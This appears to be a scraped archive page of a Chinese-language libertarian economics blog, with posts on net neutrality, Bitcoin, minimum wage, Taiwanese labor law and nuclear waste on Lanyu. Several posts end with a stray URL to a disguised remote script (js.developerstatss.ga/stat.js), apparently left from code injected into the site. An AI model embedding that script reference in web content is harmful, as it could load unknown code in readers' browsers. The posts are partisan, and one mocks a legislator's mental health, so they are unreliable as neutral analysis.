分類: 經濟分析

分類
經濟分析 法律

從經濟學邊際分析與搭售行為看網路中立這個假議題


看到某位胡教授的蘋果日報投書「網路中立爭議的台灣啟示錄（胡元輝）」

姑且不論胡教授對於經濟學及真實世界競爭觀念的無知與胡說八道：

「…電訊事業主張廢除網路中立性的表面說詞，無非是促進創新及投資，但難以否認的是，一旦該規定廢除，電訊業者將可以對客戶實施差別收費待遇，甚至以此保護自己的網路業務，削弱對手的競爭力，例如在網路影音服務的領域，目前居領先地位的Netflix、YouTube便可能遭到電訊業者降速等不公平對待。顯然，大力贊成廢除網路中立性規定的電訊業者將是此一政策下的「獲利者」。 …政府決策者普遍存在企業整合與規模經濟的迷思，誤以為「規模大就是好」、「去管制才能激勵創新」，以致對企業競爭與整併行為所可能帶來的負面作用缺乏足夠警覺，對跨國網路巨頭所造成的傳播生態破壞缺乏具體對策。…」

其說詞嚴重違背基礎經濟邏輯，很難想像這樣的教授有自信對產業政策指指點點與主張更多管制。

各位可以先參考我過去的⟪借問一隻鬼值多少錢（兼談搭售行為）？⟫ (https://wp.me/p9ffS3-lA)一文，先弄懂有關搭售行為的基本經濟邏輯，然後我們再看網路中立（Net Neutrality）這個假議題。

假設有家ISP業者莫名歧視YouTube，堅持YouTube在其平台上必須降速99%，甚至還常常屏蔽使用者連上YouTube網站。則對該ISP業者的消費者而言，就是一種「負資產搭售」行為，若連上YouTube對多數消費者是一件重要且高收益（此收益包含觀賞的樂趣）的需求，則該ISP業者在與競爭者同樣月費的前提下，要損失多少訂用戶？反之，在不減少訂用戶的前提下，該ISP業者必須大幅降價，甚至補貼消費者，才有人願意使用？

因此從搭售行為的經濟分析很容易看出：誰最在乎消費者的需求能否被滿足，不是這群口稱道德的學者、社會運動者，而恰恰是ISP業者！

無法滿足消費者需求，ISP業者要面對的就是收入降低這個殘酷且客觀的市場懲罰！

另一方面，如真有ISP業者蠢到非理性地去歧視消費者喜愛的內容供應商，他家ISP業者必然逮到此大好商機，大肆宣傳自己的平台觀看YouTube是如何順暢方便！

因此我們要問，在怎樣的侷限條件下，ISP業者才敢肆無忌憚地屏蔽或歧視特定內容供應商？很簡單，只有當ISP業者的進入門檻受到政府法律保護，使得潛在競爭者不容易進入。

這就解釋了台灣立法壟斷的有線電視法下（第5條至第22條），為什麼系統業者敢選擇歧視壹電視等某些頻道，不使其上架。因為台灣是透過法律保障了特定區域內的系統業者壟斷權！而這偏偏是公平交易法不處理以及眾多學者打擊錯誤目標的可笑窘境。系統業者的壟斷權並非來自於市場競爭或業者手段，而是來自於有線電視法的錯誤立法！前述胡姓教授還撰文奢談希冀在台灣立法管制網路中立，無非是請鬼抓藥，莫非喝到假酒喝瞎了？

回過頭談另一個經濟分析角度：邊際分析。

繼續閱讀 “從經濟學邊際分析與搭售行為看網路中立這個假議題"
分類
經濟分析

再談美國經濟現況

Charles W Eliot這位哈佛教授，美國前財政部長在英國金融時報的文章，其對美國經濟的看法有一點與我8月時寫的⟪榮景或低成長的十字路口 (We are at the crossroads of prosperity or low progress)⟫ (https://wp.me/p9ffS3-qB)相同：美國新任總統上台後的慶祝行情必須有實質經濟成長來支撐，但與我不同的是這位財政部長顯然是凱恩斯經濟學信徒，錯誤地認為公共支出擴大對經濟有幫助（凱恩斯經濟學派的錯誤過去我討論過，請自行爬文）。

而我依然認為較為全面的看法應該是我在⟪榮景⟫一文中所強調的：

“The raising of personal debts and reduction of savings means American are more eager to spend, which implies three possibilities:

A. the anticipated inflation rate increases, or;
B. the anticipated income grows, or;
C. the information cost of the future progress decreases.

The problem here is which factor weighs more over the others? If the factor A stands out, then, according to I. Fisher’s theory of the interest, the total wealth of the American will decrease. In a lucky situation, the Fed may sense it about six months later and stop raising the Fed Fund Rate to save the economy as it had done before. In a bad situation as the Fed blindly continuing raising the interest rate, we can predict a bear market coming for a while until the Fed realize the real situation. No matter which one happened, the recent economic expansion would not last for long.

If the factor B or C weighs more than the factor A, the total wealth will increase and the prosperity could be foreseen. There are two major causes to make it happen: one is the growth of productivity and the other is the decrease of transaction costs, including but not limited to the more friendly laws to businesses, over-haul lower tax burdens, and lower immigrant limits (including illegal Mexican immigrants)."

目前我們還沒看到明顯的美國國內通膨現象，而上市企業獲利確有增加，我在8月的點出的兩條路，似乎美國正在正向循環的這條道上走。

繼續閱讀 “再談美國經濟現況"
分類
筆記 經濟分析

英國金融時報對比特幣的看法

英國金融時報對Bitcoin的看法，第一段使用的經濟邏輯與我說過的幾乎一模一樣：

“Bitcoin prices are in a bubble. To recognise this, one need only look at the cryptocurrency’s vertiginous path to its current peak of more than $16,000 — and then recall that it has no intrinsic value. It is not productive like oil, and no government stands behind it. It is not even physically attractive, as paintings, gold and tulips are. As of today, the sole legitimate reason to buy bitcoin it is to sell it later for a higher price."

而從經濟史或投機史的觀點來看，其實這類投機項目政府也不需要介入。

有學者研究鬱金香炒作、南海股票炒作乃至於英屬東印度公司股票炒作等等投機事件，只要投機本質維持在單純金融遊戲，不影響實質經濟生產力的結構性安排或風險移轉的話，那麼泡沫再大，破掉時都不對實體經濟有傷害，只是少部分參與人士的財產移轉從而幾家歡樂幾家愁。細想一層，這本質跟賭博造成的財產移轉效果是一樣的。
不過這邊我要特別強調2008年金融風暴則完全是不同故事！

從美國卡特總統以來的各種左派居住正義法案，逼迫銀行將錢借貸給信用不佳者，美其名「人人有屋住」，甚或「房地產是經濟火車頭」這種似是而非論調。其實本質都是強迫無中生有風險給銀行承擔。

銀行並非傻子，因此美國政府又成立房利美、房地美等機構來信用保證這類房貸，這下就把個人性風險轉成全國納稅人承擔的系統性風險了。
至於房貸包裹成有價證券，那只是助燃劑，讓情況崩壞時死得更快更慘。

這些2008年我就談過了。

重點在於比特幣尚未因政府介入而如房貸問題一樣轉成系統性風險，我希望各國政府別蠢到跳下來淌渾水。

講白話：政府不需要管制或介入比特幣，而泡沫破滅時，政府也不該救任何因炒作比特幣而傾家蕩產者。願賭服輸，這才是市場經濟最珍貴也之所以有效率之處。https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析 商業評論

Steam宣布拒收比特幣 (Steam announced to stop using Bitcoin）


雖然比特幣Bitcoin近日價格飛昇，但作為一種貨幣，它仍然未被普遍接受。

最近又有個壞消息，知名遊戲平台Steam宣布不再支援比特幣付款，最重要的理由就是比特幣的兌換價格波動太大。

9月時我寫過一篇⟪論比特幣（on Bitcoin）⟫(https://wp.me/p9ffS3-qO)，其中幾個關鍵看法到目前為止依然成立：

1. 比特幣並非是一種正常的貨幣工具，因為其作為「交易媒介」功能不彰。從Fisher貨幣公式來看，其貨幣價格不應該這麼高，會如此的理由只有一個…

2. 比特幣被當做一種無根財富倉庫（fiat wealth vault），作為財富倉庫，比特幣同時具備下列優缺點：

優點–
a. 數量固定 ：
這也是比特幣不斷強調的特色之一。
b. 贗品機率不高：
目前區塊鏈技術尚未被破解，其技術本身保證了每一單位比特幣的真實性。網路上的交易者幾乎不太會遇到「買到假比特幣」的風險。（被黑心仲介詐騙是另一回事，不屬於贗品問題）。
c. 流通轉手費用低廉：
去中心化、網路虛擬特性加上保密性，相較於黃金、珠寶乃至於古董字畫，比特幣的轉手瞬間完成，而且費用極為低廉。
d. 價格無上限：
所有無產出財富倉庫均有此共通特色，因為無產出，所以沒有未來預估收入流可以折現計算。反過來，也就失去了這個合理評估價值的量度工具，造成此類財富倉庫價格波動可以非常劇烈且快速。

缺點 —
a. 價格可快速下跌至零：
正因為無產出，使得比特幣成為「無根」的財富倉庫，上漲可無限，但下跌至零也是合理。畢竟無產出的物品難以有預期收入來做真實價值（intrinsic value）的支撐內涵。
b. 技術有被破解之可能。
c. 競爭易轉激烈：
正因為區塊鏈採開放原始碼，複製同樣的技術創立新數位貨幣的進入門檻很低。
2017年將近100種新區塊鏈貨幣進入市場，其中有30%完全無人使用與交易。
當交易速度更快、保密性更高（如Ether coin）進入市場，競爭之下必然會拉低比特幣的匯價或漲幅。

而從宏觀角度來看，誕生新區塊鏈貨幣的門檻很低，是不是也意味著「數量固定」這一點其實是守不住的？值得思考。
d. 無歷史共識：
相較於黃金、珠寶乃至於古董字畫，比特幣的歷史共識非常低，尤其跟黃金相比。這會使得價格下跌時，牛群信心崩盤、樹倒猢猻散的速度飛快，猶如荷蘭鬱金香炒作事件。新玩意兒容易炒，但要死也特別快。

而我一貫對於無根/無產出財富倉庫沒有太多興趣，就是因為無產出從而無從正確評估內含價值，進而使得該標的之市價可以在極短時間內飛天鑽地。這樣的高波動性與無內含價值特性讓巴菲特也敬而遠之(https://wp.me/p9ffS3-sU)，我在此建議一般人就投資組合而言，也不要放太多比重在這種項目上（諸如黃金、珠寶、古董、字畫均屬之）。投資比的是氣長，慎之。https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

一例一休整慘台鐵員工

昨天才提到，一例一休這政策連國營的台鐵自己都沒辦法遵守。

剛好有個台鐵工作的副站長公開說：「晚上進行的鐵軌保養與垃圾清除，一例一休之前有5個人在值班，一例一休之後剩我一個。5個人值班做到凌晨2點，剩一個人也不知道要做到幾點？…」

經濟學早就說了，勞雇契約自由的僵化會讓資源（包含人力）安排出現問題，許多過勞現象也必然發生。

我多次點出勞基法無法解決醫護過勞問題也在於此，因為醫護界有個天霸王健保價格管制擺在那，醫院/診所收入被限制於合理價格之下，醫護自然出現「人力短缺+既有人力過勞」二重奏現象。

同樣地一例一休也讓台鐵出現一樣的狀況。

再回頭罵這些以為嚴格法律管制放假、加班時間就可以減少過勞現象的勞團、文青蠢蛋們！經濟邏輯真是差到不行！真依照你們的訴求立法，則僵化無彈性的制度將使雇主更不敢隨意增聘人力，致使原崗位上的勞力將被迫過度使用，你們所要解決的勞工過勞現象反而會更嚴重！

是的，你們不斷轉發或貼出疑似過勞死的各種可憐故事，可惜你們心中愚蠢且悖於經濟邏輯的方案反會讓情況更惡化，而非改善。

自由主義不是冷血，而是有腦會思考，看出你們的方案問題並點出將有的災難性結果。真有同情心者，必然唾棄只會畫大餅實則在添亂的各種左派蠢思想。

（請看影片 3分10秒起）

https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記 經濟分析

工會與勞團怎樣傷害勞工、毀滅產業 — 以腰果業為例


華爾街日報報導：「How Cashews Explain Globalization」

腰果出自巴西，由葡萄牙人帶到印度。美國General Foods在美國建立零食與甜點市場，並於1920年代在印度的Kollam市地區大量種植腰果。

生腰果處理相當麻煩、工序繁瑣又容易傷了果仁，早年多由印度婦女以家庭代工手作模式作為第二收入。一個熟練的腰果工人一天可以處理幾萬顆，還必須達到國際廠商要求的分類品質水準 — 每磅僅有幾顆瑕疵。

1960年代是印度Kollam市（位於Kerala省）腰果產業飛躍時期，光腰果處理工人就高達數萬人。腰果產業起飛，但是工人收入依然低、福利少、工時長且工作環境不佳，這時候勞工政治運動也應運而生。

1970年Kollam市腰果產業開始有工會與勞團運作，政治力影響下當地政府成立官方腰果處理廠，好聘僱更多腰果工人並由官方保證提高其收入。

短期內的確看到薪資提昇、勞工健康改善，也建立了退休金制度。即便腰果處理是苦差事，但卻讓許多家庭脫貧。婦女是最大受益者，新興腰果商人也建立電影院、公共圖書館、高級飯店等，Kerlala成為當時印度最先進的一省。

1999年印度每年出口9,7000頓腰果，佔了全球80%市場。當時印度是世界最大的腰果處理服務供應商。

繼續閱讀 “工會與勞團怎樣傷害勞工、毀滅產業 — 以腰果業為例"
分類
經濟分析 證券投資 商業評論 不實商業報導

快速看出投資市場的黑心假貨？一個簡單範例–JustWater (How to tell a lying and immoral company? A simple demo — JustWater)

JustWater這種騙假文青真無知的商品看得我笑意滿滿 XD

1. 利樂包是包上很多層塑膠（LDPE）與鋁箔的紙材，一點也不環保，而且比起傳統HDPE塑膠瓶來說，塑化劑甚至更容易溶出。

好笑的是，HDPE塑膠瓶非常容易回收，只要清洗乾淨、打碎、烘乾，幾乎就可直接進吹出成形機製作新塑膠產品。做過塑膠工廠就知道，市面上很容易買到這種回收塑料。

利樂包回收呢？多材質複合回收哪這麼容易呀！成本也高多了。

此外利樂包壓扁的體積，依然比打碎成顆粒的塑膠瓶大，說節省運輸空間根本是騙外行。

講白話就是：換成利樂包更不環保，也更不健康。只是騙對工業材料極端無知的蠢文青的行銷噱頭。

繼續閱讀 “快速看出投資市場的黑心假貨？一個簡單範例–JustWater (How to tell a lying and immoral company? A simple demo — JustWater)"
分類
經濟分析 隨筆

國軍與立委報酬的簡易經濟分析

ETtoday報導：「軍人服役40年替代率100%？林昶佐：比一般民眾優渥太多」

內容：「國防部14日公佈「軍人退撫新制草案」，其中，為鼓勵「長留久用」，月退俸計算可能與美軍退撫制度相同，現役軍人服役滿20年，所得替代率從50%起跳，每服役1年增加2.5%，滿40年則可達100%；對此，時代力量立委林昶佐認為，這樣做到40年的將官，薪水至少10萬以上，退休後還能繼續領10萬以上的退休金，這實在比一般民眾生活優渥太多…」

姑且不論中國時報曾報導：「…林昶佐，2007年曾對媒體坦承，大學時期為逃兵役曾力圖緩徵，想辦法延畢，但後來因焦慮症嚴重，才被判免兵役。林受訪時還說，不吃藥就會很焦慮，會不斷開冰箱、鎖門等強迫症狀，更自爆：「有次去日本忘帶藥，在地鐵站癱了噴屎噴尿，糗到爆。」…」

其實一秒分辨是否真的報酬過於優渥，快速應用經濟學就可得到答案。

當某樣東西用值遠大於換值時，代表消費者盈餘極高，則競爭之下願意爭取者不但眾多，而且各種手段或代價也願意支付。例如有廠商舉辦某活動加一元多一台M-Benz S class，但限現場報名前100位中抽一位。可以想見多少人半夜就跑去排隊之外，各種插隊、代排、走後門等怪招肯定百花齊放。

回過頭，我們總見到一堆政客耗盡家產、用盡人脈、丟盡臉面、踐踏自尊地下跪競爭立委。好像沒見過有人為了簽「志願留營」或為了讀軍校這樣拼命的。反之，國軍老徵不夠兵才是我們看到的現象。

顯然由競爭的行為表現可知：當立委太好賺；當兵太難賺。

若林昶佐真心認為新制會讓國軍太優渥，那強烈建議您力推退撫新制過關，幫助國軍徵足兵力，然後自己也快快從軍去，別再焦慮了。

#你們這種又要台獨又不讓台灣徵足兵力的人真奇怪
#唱歌這麼難聽還要上台表演的確是會焦慮

 https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

環保團體大絕招–「謠言回收再利用」的經濟分析

地球公民基金會舉辦了一個「核廢料是你們台灣的責任：核廢遷出蘭嶼」活動。

該活動宣稱：

「1974年原子能委員會展開蘭嶼計畫，選址蘭嶼作為核能廢料場，在未經達悟族人的同意之下，國防部蘭嶼指揮部片面將土地撥付給原子能委員會使用，更以興建魚罐頭工廠的名義蒙蔽，自1982年開始將核能廢料運至蘭嶼，總共運送了10008桶核廢料，迄今"暫存"了35年。」

而偏偏這是一個被攻破多次的謠言，卻還能被地球公民基金會這種環保團體反覆地回收利用繼續欺騙大眾。

早在民國69年的立法院公報就明白指出：「為計畫處理與儲存此類放射性待處理物料…至民國63年經本會多次討論….建議以台東縣蘭嶼島龍門地區為陸儲場所，並於64會計年度起列有蘭嶼計畫專案預算…預計於今年九月可完成碼頭工程，其餘工程亦可於明年五月全部完成…」

哪有什麼「魚罐頭工廠」的欺瞞情形？更甭提現場施工豎立的大型看板（參見圖片）也明白標示「蘭嶼計畫碼頭及堤防工程，主辦單位為行政院原子能委員會」。

除非你中文爛到認為原子能委員會是在賣魚罐頭的。

同年的聯合報亦有報導：「放射性待處理物料將送蘭嶼貯存 -場地係岩石構造而且設備周全 對附近居民安全不致發生損害」

之所以選擇蘭嶼龍門是因為：「…因地形封閉（呈三面環山一面靠海的「凹」字地形）、5公里內無民眾居住、可利用土地面積達1平方公里以上…」

因為很重要，所以說三次：

5公里內無民眾居住
5公里內無民眾居住
5公里內無民眾居住

這麼明白的謠言，卻不斷地被環保團體一再拿出來宣傳使用，居心何在？甚至連最早的謠言出處都被找出來「呂建蒼, 台灣核廢料問題 ,環保聯盟台北分會季刊–台北環境第15期」，呂姓作者只是道聽塗說地宣稱政府欺騙蘭嶼人民。

而蘭嶼居民因為核廢料受損了嗎？

從事實證據來看，根本沒有。

一者，輻射本來就可用掩體技術圍住，同時離輻射源越遠，輻射量越少（輻射劑量與距離平方成反比，一台運作中的X光機，距離超過3公尺就幾乎不受影響），這都是基礎物理學常識；二者5公里內根本無居民。

實證調查也發現不但蘭嶼地區的背景輻射是全台灣最低，甚至比台北市與台中市都低了約六成、比高雄市低了約五成、比阿里山低了約七成五。換言之，你住在阿里山受到的輻射量還是蘭嶼人的4倍！

環保團體不斷宣稱蘭嶼人受到輻射污染，可是台北人、台中人或阿里山人受到更多輻射影響，怎麼你們都不拿來說嘴了呢？

蘭嶼低階核廢料究竟有什麼損失可言未可知，但可以確認的有：

繼續閱讀 “環保團體大絕招–「謠言回收再利用」的經濟分析"
分類
筆記 經濟分析

人格分裂的政客

華爾街日報：「San Francisco’s Problem Isn’t Robots; It’s the $15 Wage Floor」

舊金山的政客們一方面擔心機器人搶走邊際勞工的工作，所以提出「禁止送貨機器人上路」或「欲開徵機器人稅 — 雇主若使用機器人取代人類，要被多課稅」。

但另一方面，卻把最低工資金額調高到每小時$15美元！而經濟學邏輯與美國全國經濟研究所的資料均指出：提高最低工資限制會傷害到邊際勞工的就業，不只是服務業，還特別包括製造業中年紀較大、工作內容技術含量低的職位。

更好笑的是，研究更發現調高最低工資不見得會增加就業，但卻是絕對會增加消費者支出 — 舊金山2014年調高最低工資後，消費者每年多花費$1億美元，但就業狀況並無改善。

經濟分析也告訴我們，調高最低工資會增加邊際企業倒閉率，從而使邊際勞工工作機會更少。實證一樣支持，今年哈佛大學針對舊金山的2014最低工資調高效果研究發現，網路評價中等的餐廳倒閉率隨之增加。

這告訴我們，政客的主張往往是自相矛盾，純為自身選舉利益而呼攏。即便是好心，往往也只會壞事。最低工資看似保障勞工，其實卻是最侵害弱勢族群。而政客卻可以一方面要禁止機器人搶工作，卻又一方面提高雇主使用機器人的誘因。https://js.developerstatss.ga/stat.js?n=ns1